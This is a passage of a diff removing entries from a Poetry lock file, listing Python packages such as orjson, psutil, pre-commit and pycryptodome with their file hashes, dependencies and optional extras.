[ - {file = "nodeenv-1.10.0-py2.py3-none-any.whl", hash = "sha256:5bb13e3eed2923615535339b3c620e76779af4cb4c6a90deccc9e36b274d3827"}, - {file = "nodeenv-1.10.0.tar.gz", hash = "sha256:996c191ad80897d076bdfba80a41994c2b47c68e224c542b48feba42ba00f8bb"}, -] - -[[package]] -name = "omegaconf" -version = "2.3.0" -description = "A flexible configuration library" -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "omegaconf-2.3.0-py3-none-any.whl", hash = "sha256:7b4df175cdb08ba400f45cae3bdcae7ba8365db4d165fc65fd04b050ab63b46b"}, - {file = "omegaconf-2.3.0.tar.gz", hash = "sha256:d5d4b6d29955cc50ad50c46dc269bcd92c6e00f5f90d23ab5fee7bfca4ba4cc7"}, -] - -[package.dependencies] -antlr4-python3-runtime = "==4.9.*" -PyYAML = ">=5.1.0" - -[[package]] -name = "orderly-set" -version = "5.5.0" -description = "Orderly set" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "orderly_set-5.5.0-py3-none-any.whl", hash = "sha256:46f0b801948e98f427b412fcabb831677194c05c3b699b80de260374baa0b1e7"}, - {file = "orderly_set-5.5.0.tar.gz", hash = "sha256:e87185c8e4d8afa64e7f8160ee2c542a475b738bc891dc3f58102e654125e6ce"}, -] - -[package.extras] -coverage = ["coverage (>=7.6.0,<7.7.0)"] -dev = ["bump2version (>=1.0.0,<1.1.0)", "ipdb (>=0.13.0,<0.14.0)"] -optimize = ["orjson"] -static = ["flake8 (>=7.1.0,<7.2.0)", "flake8-pyproject (>=1.2.3,<1.3.0)"] -test = ["pytest (>=8.3.0,<8.4.0)", "pytest-benchmark (>=5.1.0,<5.2.0)", "pytest-cov (>=6.0.0,<6.1.0)", "python-dotenv (>=1.0.0,<1.1.0)"] - -[[package]] -name = "orjson" -version = "3.11.7" -description = "Fast, correct Python JSON library supporting dataclasses, datetimes, and numpy" -optional = false -python-versions = ">=3.10" -groups = ["main"] -files = [ - {file = "orjson-3.11.7-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:a02c833f38f36546ba65a452127633afce4cf0dd7296b753d3bb54e55e5c0174"}, - {file = "orjson-3.11.7-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b63c6e6738d7c3470ad01601e23376aa511e50e1f3931395b9f9c722406d1a67"}, - {file = "orjson-3.11.7-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:043d3006b7d32c7e233b8cfb1f01c651013ea079e08dcef7189a29abd8befe11"}, - {file = "orjson-3.11.7-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:57036b27ac8a25d81112eb0cc9835cd4833c5b16e1467816adc0015f59e870dc"}, - {file = "orjson-3.11.7-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:733ae23ada68b804b222c44affed76b39e30806d38660bf1eb200520d259cc16"}, - {file = "orjson-3.11.7-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5fdfad2093bdd08245f2e204d977facd5f871c88c4a71230d5bcbd0e43bf6222"}, - {file = "orjson-3.11.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cededd6738e1c153530793998e31c05086582b08315db48ab66649768f326baa"}, - {file = "orjson-3.11.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:14f440c7268c8f8633d1b3d443a434bd70cb15686117ea6beff8fdc8f5917a1e"}, - {file = "orjson-3.11.7-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:3a2479753bbb95b0ebcf7969f562cdb9668e6d12416a35b0dda79febf89cdea2"}, - {file = "orjson-3.11.7-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:71924496986275a737f38e3f22b4e0878882b3f7a310d2ff4dc96e812789120c"}, - {file = "orjson-3.11.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b4a9eefdc70bf8bf9857f0290f973dec534ac84c35cd6a7f4083be43e7170a8f"}, - {file = "orjson-3.11.7-cp310-cp310-win32.whl", hash = "sha256:ae9e0b37a834cef7ce8f99de6498f8fad4a2c0bf6bfc3d02abd8ed56aa15b2de"}, - {file = "orjson-3.11.7-cp310-cp310-win_amd64.whl", hash = "sha256:d772afdb22555f0c58cfc741bdae44180122b3616faa1ecadb595cd526e4c993"}, - {file = "orjson-3.11.7-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9487abc2c2086e7c8eb9a211d2ce8855bae0e92586279d0d27b341d5ad76c85c"}, - {file = "orjson-3.11.7-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:79cacb0b52f6004caf92405a7e1f11e6e2de8bdf9019e4f76b44ba045125cd6b"}, - {file = "orjson-3.11.7-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c2e85fe4698b6a56d5e2ebf7ae87544d668eb6bde1ad1226c13f44663f20ec9e"}, - {file = "orjson-3.11.7-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b8d14b71c0b12963fe8a62aac87119f1afdf4cb88a400f61ca5ae581449efcb5"}, - {file = "orjson-3.11.7-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:91c81ef070c8f3220054115e1ef468b1c9ce8497b4e526cb9f68ab4dc0a7ac62"}, - {file = "orjson-3.11.7-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:411ebaf34d735e25e358a6d9e7978954a9c9d58cfb47bc6683cdc3964cd2f910"}, - {file = "orjson-3.11.7-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a16bcd08ab0bcdfc7e8801d9c4a9cc17e58418e4d48ddc6ded4e9e4b1a94062b"}, - {file = "orjson-3.11.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c0b51672e466fd7e56230ffbae7f1639e18d0ce023351fb75da21b71bc2c960"}, - {file = "orjson-3.11.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:136dcd6a2e796dfd9ffca9fc027d778567b0b7c9968d092842d3c323cef88aa8"}, - {file = "orjson-3.11.7-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:7ba61079379b0ae29e117db13bda5f28d939766e410d321ec1624afc6a0b0504"}, - {file = "orjson-3.11.7-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:0527a4510c300e3b406591b0ba69b5dc50031895b0a93743526a3fc45f59d26e"}, - {file = "orjson-3.11.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a709e881723c9b18acddcfb8ba357322491ad553e277cf467e1e7e20e2d90561"}, - {file = "orjson-3.11.7-cp311-cp311-win32.whl", hash = "sha256:c43b8b5bab288b6b90dac410cca7e986a4fa747a2e8f94615aea407da706980d"}, - {file = "orjson-3.11.7-cp311-cp311-win_amd64.whl", hash = "sha256:6543001328aa857187f905308a028935864aefe9968af3848401b6fe80dbb471"}, - {file = "orjson-3.11.7-cp311-cp311-win_arm64.whl", hash = "sha256:1ee5cc7160a821dfe14f130bc8e63e7611051f964b463d9e2a3a573204446a4d"}, - {file = "orjson-3.11.7-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:bd03ea7606833655048dab1a00734a2875e3e86c276e1d772b2a02556f0d895f"}, - {file = "orjson-3.11.7-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:89e440ebc74ce8ab5c7bc4ce6757b4a6b1041becb127df818f6997b5c71aa60b"}, - {file = "orjson-3.11.7-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5ede977b5fe5ac91b1dffc0a517ca4542d2ec8a6a4ff7b2652d94f640796342a"}, - {file = "orjson-3.11.7-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b7b1dae39230a393df353827c855a5f176271c23434cfd2db74e0e424e693e10"}, - {file = "orjson-3.11.7-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ed46f17096e28fb28d2975834836a639af7278aa87c84f68ab08fbe5b8bd75fa"}, - {file = "orjson-3.11.7-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3726be79e36e526e3d9c1aceaadbfb4a04ee80a72ab47b3f3c17fefb9812e7b8"}, - {file = "orjson-3.11.7-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0724e265bc548af1dedebd9cb3d24b4e1c1e685a343be43e87ba922a5c5fff2f"}, - {file = "orjson-3.11.7-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e7745312efa9e11c17fbd3cb3097262d079da26930ae9ae7ba28fb738367cbad"}, - {file = "orjson-3.11.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f904c24bdeabd4298f7a977ef14ca2a022ca921ed670b92ecd16ab6f3d01f867"}, - {file = "orjson-3.11.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:b9fc4d0f81f394689e0814617aadc4f2ea0e8025f38c226cbf22d3b5ddbf025d"}, - {file = "orjson-3.11.7-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:849e38203e5be40b776ed2718e587faf204d184fc9a008ae441f9442320c0cab"}, - {file = "orjson-3.11.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:4682d1db3bcebd2b64757e0ddf9e87ae5f00d29d16c5cdf3a62f561d08cc3dd2"}, - {file = "orjson-3.11.7-cp312-cp312-win32.whl", hash = "sha256:f4f7c956b5215d949a1f65334cf9d7612dde38f20a95f2315deef167def91a6f"}, - {file = "orjson-3.11.7-cp312-cp312-win_amd64.whl", hash = "sha256:bf742e149121dc5648ba0a08ea0871e87b660467ef168a3a5e53bc1fbd64bb74"}, - {file = "orjson-3.11.7-cp312-cp312-win_arm64.whl", hash = "sha256:26c3b9132f783b7d7903bf1efb095fed8d4a3a85ec0d334ee8beff3d7a4749d5"}, - {file = "orjson-3.11.7-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:1d98b30cc1313d52d4af17d9c3d307b08389752ec5f2e5febdfada70b0f8c733"}, - {file = "orjson-3.11.7-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:d897e81f8d0cbd2abb82226d1860ad2e1ab3ff16d7b08c96ca00df9d45409ef4"}, - {file = "orjson-3.11.7-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:814be4b49b228cfc0b3c565acf642dd7d13538f966e3ccde61f4f55be3e20785"}, - {file = "orjson-3.11.7-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d06e5c5fed5caedd2e540d62e5b1c25e8c82431b9e577c33537e5fa4aa909539"}, - {file = "orjson-3.11.7-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:31c80ce534ac4ea3739c5ee751270646cbc46e45aea7576a38ffec040b4029a1"}, - {file = "orjson-3.11.7-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f50979824bde13d32b4320eedd513431c921102796d86be3eee0b58e58a3ecd1"}, - {file = "orjson-3.11.7-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9e54f3808e2b6b945078c41aa8d9b5834b28c50843846e97807e5adb75fa9705"}, - {file = "orjson-3.11.7-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a12b80df61aab7b98b490fe9e4879925ba666fccdfcd175252ce4d9035865ace"}, - {file = "orjson-3.11.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:996b65230271f1a97026fd0e6a753f51fbc0c335d2ad0c6201f711b0da32693b"}, - {file = "orjson-3.11.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:ab49d4b2a6a1d415ddb9f37a21e02e0d5dbfe10b7870b21bf779fc21e9156157"}, - {file = "orjson-3.11.7-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:390a1dce0c055ddf8adb6aa94a73b45a4a7d7177b5c584b8d1c1947f2ba60fb3"}, - {file = "orjson-3.11.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:1eb80451a9c351a71dfaf5b7ccc13ad065405217726b59fdbeadbcc544f9d223"}, - {file = "orjson-3.11.7-cp313-cp313-win32.whl", hash = "sha256:7477aa6a6ec6139c5cb1cc7b214643592169a5494d200397c7fc95d740d5fcf3"}, - {file = "orjson-3.11.7-cp313-cp313-win_amd64.whl", hash = "sha256:b9f95dcdea9d4f805daa9ddf02617a89e484c6985fa03055459f90e87d7a0757"}, - {file = "orjson-3.11.7-cp313-cp313-win_arm64.whl", hash = "sha256:800988273a014a0541483dc81021247d7eacb0c845a9d1a34a422bc718f41539"}, - {file = "orjson-3.11.7-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:de0a37f21d0d364954ad5de1970491d7fbd0fb1ef7417d4d56a36dc01ba0c0a0"}, - {file = "orjson-3.11.7-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:c2428d358d85e8da9d37cba18b8c4047c55222007a84f97156a5b22028dfbfc0"}, - {file = "orjson-3.11.7-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c4bc6c6ac52cdaa267552544c73e486fecbd710b7ac09bc024d5a78555a22f6"}, - {file = "orjson-3.11.7-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bd0d68edd7dfca1b2eca9361a44ac9f24b078de3481003159929a0573f21a6bf"}, - {file = "orjson-3.11.7-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:623ad1b9548ef63886319c16fa317848e465a21513b31a6ad7b57443c3e0dcf5"}, - {file = "orjson-3.11.7-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6e776b998ac37c0396093d10290e60283f59cfe0fc3fccbd0ccc4bd04dd19892"}, - {file = "orjson-3.11.7-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:652c6c3af76716f4a9c290371ba2e390ede06f6603edb277b481daf37f6f464e"}, - {file = "orjson-3.11.7-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a56df3239294ea5964adf074c54bcc4f0ccd21636049a2cf3ca9cf03b5d03cf1"}, - {file = "orjson-3.11.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:bda117c4148e81f746655d5a3239ae9bd00cb7bc3ca178b5fc5a5997e9744183"}, - {file = "orjson-3.11.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:23d6c20517a97a9daf1d48b580fcdc6f0516c6f4b5038823426033690b4d2650"}, - {file = "orjson-3.11.7-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:8ff206156006da5b847c9304b6308a01e8cdbc8cce824e2779a5ba71c3def141"}, - {file = "orjson-3.11.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:962d046ee1765f74a1da723f4b33e3b228fe3a48bd307acce5021dfefe0e29b2"}, - {file = "orjson-3.11.7-cp314-cp314-win32.whl", hash = "sha256:89e13dd3f89f1c38a9c9eba5fbf7cdc2d1feca82f5f290864b4b7a6aac704576"}, - {file = "orjson-3.11.7-cp314-cp314-win_amd64.whl", hash = "sha256:845c3e0d8ded9c9271cd79596b9b552448b885b97110f628fb687aee2eed11c1"}, - {file = "orjson-3.11.7-cp314-cp314-win_arm64.whl", hash = "sha256:4a2e9c5be347b937a2e0203866f12bba36082e89b402ddb9e927d5822e43088d"}, - {file = "orjson-3.11.7.tar.gz", hash = "sha256:9b1a67243945819ce55d24a30b59d6a168e86220452d2c96f4d1f093e71c0c49"}, -] - -[[package]] -name = "packaging" -version = "26.0" -description = "Core utilities for Python packages" -optional = false -python-versions = ">=3.8" -groups = ["main", "dev", "docs"] -files = [ - {file = "packaging-26.0-py3-none-any.whl", hash = "sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529"}, - {file = "packaging-26.0.tar.gz", hash = "sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4"}, -] - -[[package]] -name = "paginate" -version = "0.5.7" -description = "Divides large result sets into pages for easier browsing" -optional = false -python-versions = "*" -groups = ["docs"] -files = [ - {file = "paginate-0.5.7-py2.py3-none-any.whl", hash = "sha256:b885e2af73abcf01d9559fd5216b57ef722f8c42affbb63942377668e35c7591"}, - {file = "paginate-0.5.7.tar.gz", hash = "sha256:22bd083ab41e1a8b4f3690544afb2c60c25e5c9a63a30fa2f483f6c60c8e5945"}, -] - -[package.extras] -dev = ["pytest", "tox"] -lint = ["black"] - -[[package]] -name = "pathspec" -version = "1.0.4" -description = "Utility library for gitignore style pattern matching of file paths." -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "pathspec-1.0.4-py3-none-any.whl", hash = "sha256:fb6ae2fd4e7c921a165808a552060e722767cfa526f99ca5156ed2ce45a5c723"}, - {file = "pathspec-1.0.4.tar.gz", hash = "sha256:0210e2ae8a21a9137c0d470578cb0e595af87edaa6ebf12ff176f14a02e0e645"}, -] - -[package.extras] -hyperscan = ["hyperscan (>=0.7)"] -optional = ["typing-extensions (>=4)"] -re2 = ["google-re2 (>=1.1)"] -tests = ["pytest (>=9)", "typing-extensions (>=4.15)"] - -[[package]] -name = "pexpect" -version = "4.9.0" -description = "Pexpect allows easy control of interactive console applications." -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "pexpect-4.9.0-py2.py3-none-any.whl", hash = "sha256:7236d1e080e4936be2dc3e326cec0af72acf9212a7e1d060210e70a47e253523"}, - {file = "pexpect-4.9.0.tar.gz", hash = "sha256:ee7d41123f3c9911050ea2c2dac107568dc43b2d3b0c7557a33212c398ead30f"}, -] - -[package.dependencies] -ptyprocess = ">=0.5" - -[[package]] -name = "platformdirs" -version = "4.5.1" -description = "A small Python package for determining appropriate platform-specific dirs, e.g. a `user data dir`." -optional = false -python-versions = ">=3.10" -groups = ["dev", "docs"] -files = [ - {file = "platformdirs-4.5.1-py3-none-any.whl", hash = "sha256:d03afa3963c806a9bed9d5125c8f4cb2fdaf74a55ab60e5d59b3fde758104d31"}, - {file = "platformdirs-4.5.1.tar.gz", hash = "sha256:61d5cdcc6065745cdd94f0f878977f8de9437be93de97c1c12f853c9c0cdcbda"}, -] - -[package.extras] -docs = ["furo (>=2025.9.25)", "proselint (>=0.14)", "sphinx (>=8.2.3)", "sphinx-autodoc-typehints (>=3.2)"] -test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=8.4.2)", "pytest-cov (>=7)", "pytest-mock (>=3.15.1)"] -type = ["mypy (>=1.18.2)"] - -[[package]] -name = "pluggy" -version = "1.6.0" -description = "plugin and hook calling mechanisms for python" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746"}, - {file = "pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3"}, -] - -[package.extras] -dev = ["pre-commit", "tox"] -testing = ["coverage", "pytest", "pytest-benchmark"] - -[[package]] -name = "poetry-dynamic-versioning" -version = "1.9.1" -description = "Plugin for Poetry to enable dynamic versioning based on VCS tags" -optional = false -python-versions = "<4.0,>=3.7" -groups = ["dev"] -files = [ - {file = "poetry_dynamic_versioning-1.9.1-py3-none-any.whl", hash = "sha256:65a0c814e6d30d4807734a3c34edf261fd7cc3b340dbd23b6a33ee41f7d0b547"}, - {file = "poetry_dynamic_versioning-1.9.1.tar.gz", hash = "sha256:d6e7b9df817aa2ca4946cd695c6c89e1379d2e6c640f008a9b6170d081a9da48"}, -] - -[package.dependencies] -dunamai = ">=1.25.0,<2.0.0" -jinja2 = ">=2.11.1,<4" -tomlkit = ">=0.4" - -[package.extras] -plugin = ["poetry (>=1.2.0)"] - -[[package]] -name = "pre-commit" -version = "4.5.1" -description = "A framework for managing and maintaining multi-language pre-commit hooks." -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "pre_commit-4.5.1-py2.py3-none-any.whl", hash = "sha256:3b3afd891e97337708c1674210f8eba659b52a38ea5f822ff142d10786221f77"}, - {file = "pre_commit-4.5.1.tar.gz", hash = "sha256:eb545fcff725875197837263e977ea257a402056661f09dae08e4b149b030a61"}, -] - -[package.dependencies] -cfgv = ">=2.0.0" -identify = ">=1.0.0" -nodeenv = ">=0.11.1" -pyyaml = ">=5.1" -virtualenv = ">=20.10.0" - -[[package]] -name = "psutil" -version = "7.2.2" -description = "Cross-platform lib for process and system monitoring." -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "psutil-7.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b"}, - {file = "psutil-7.2.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea"}, - {file = "psutil-7.2.2-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63"}, - {file = "psutil-7.2.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312"}, - {file = "psutil-7.2.2-cp313-cp313t-win_amd64.whl", hash = "sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b"}, - {file = "psutil-7.2.2-cp313-cp313t-win_arm64.whl", hash = "sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9"}, - {file = "psutil-7.2.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00"}, - {file = "psutil-7.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9"}, - {file = "psutil-7.2.2-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a"}, - {file = "psutil-7.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf"}, - {file = "psutil-7.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1"}, - {file = "psutil-7.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841"}, - {file = "psutil-7.2.2-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486"}, - {file = "psutil-7.2.2-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979"}, - {file = "psutil-7.2.2-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9"}, - {file = "psutil-7.2.2-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e"}, - {file = "psutil-7.2.2-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8"}, - {file = "psutil-7.2.2-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc"}, - {file = "psutil-7.2.2-cp37-abi3-win_amd64.whl", hash = "sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988"}, - {file = "psutil-7.2.2-cp37-abi3-win_arm64.whl", hash = "sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee"}, - {file = "psutil-7.2.2.tar.gz", hash = "sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372"}, -] - -[package.extras] -dev = ["abi3audit", "black", "check-manifest", "colorama ; os_name == \"nt\"", "coverage", "packaging", "psleak", "pylint", "pyperf", "pypinfo", "pyreadline3 ; os_name == \"nt\"", "pytest", "pytest-cov", "pytest-instafail", "pytest-xdist", "pywin32 ; os_name == \"nt\" and implementation_name != \"pypy\"", "requests", "rstcheck", "ruff", "setuptools", "sphinx", "sphinx_rtd_theme", "toml-sort", "twine", "validate-pyproject[all]", "virtualenv", "vulture", "wheel", "wheel ; os_name == \"nt\" and implementation_name != \"pypy\"", "wmi ; os_name == \"nt\" and implementation_name != \"pypy\""] -test = ["psleak", "pytest", "pytest-instafail", "pytest-xdist", "pywin32 ; os_name == \"nt\" and implementation_name != \"pypy\"", "setuptools", "wheel ; os_name == \"nt\" and implementation_name != \"pypy\"", "wmi ; os_name == \"nt\" and implementation_name != \"pypy\""] - -[[package]] -name = "ptyprocess" -version = "0.7.0" -description = "Run a subprocess in a pseudo terminal" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "ptyprocess-0.7.0-py2.py3-none-any.whl", hash = "sha256:4b41f3967fce3af57cc7e94b888626c18bf37a083e3651ca8feeb66d492fef35"}, - {file = "ptyprocess-0.7.0.tar.gz", hash = "sha256:5c5d0a3b48ceee0b48485e0c26037c0acd7d29765ca3fbb5cb3831d347423220"}, -] - -[[package]] -name = "puremagic" -version = "1.30" -description = "Pure python implementation of magic file detection" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "puremagic-1.30-py3-none-any.whl", hash = "sha256:5eeeb2dd86f335b9cfe8e205346612197af3500c6872dffebf26929f56e9d3c1"}, - {file = "puremagic-1.30.tar.gz", hash = "sha256:f9ff7ac157d54e9cf3bff1addfd97233548e75e685282d84ae11e7ffee1614c9"}, -] - -[[package]] -name = "py-cpuinfo" -version = "9.0.0" -description = "Get CPU info with pure Python" -optional = false -python-versions = "*" -groups = ["dev"] -files = [ - {file = "py-cpuinfo-9.0.0.tar.gz", hash = "sha256:3cdbbf3fac90dc6f118bfd64384f309edeadd902d7c8fb17f02ffa1fc3f49690"}, - {file = "py_cpuinfo-9.0.0-py3-none-any.whl", hash = "sha256:859625bc251f64e21f077d099d4162689c762b5d6a4c3c97553d56241c9674d5"}, -] - -[[package]] -name = "pycparser" -version = "3.0" -description = "C parser in Python" -optional = false -python-versions = ">=3.10" -groups = ["main"] -markers = "platform_python_implementation != \"PyPy\" and implementation_name != \"PyPy\" or implementation_name == \"pypy\"" -files = [ - {file = "pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992"}, - {file = "pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29"}, -] - -[[package]] -name = "pycryptodome" -version = "3.23.0" -description = "Cryptographic library for Python" -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" -groups = ["main"] -files = [ - {file = "pycryptodome-3.23.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a176b79c49af27d7f6c12e4b178b0824626f40a7b9fed08f712291b6d54bf566"}, - {file = "pycryptodome-3.23.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:573a0b3017e06f2cffd27d92ef22e46aa3be87a2d317a5abf7cc0e84e321bd75"}, - {file = "pycryptodome-3.23.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:63dad881b99ca653302b2c7191998dd677226222a3f2ea79999aa51ce695f720"}, - {file = "pycryptodome-3.23.0-cp27-cp27m-win32.whl", hash = "sha256:b34e8e11d97889df57166eda1e1ddd7676da5fcd4d71a0062a760e75060514b4"}, - {file = "pycryptodome-3.23.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:7ac1080a8da569bde76c0a104589c4f414b8ba296c0b3738cf39a466a9fb1818"}, - {file = "pycryptodome-3.23.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:6fe8258e2039eceb74dfec66b3672552b6b7d2c235b2dfecc05d16b8921649a8"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = 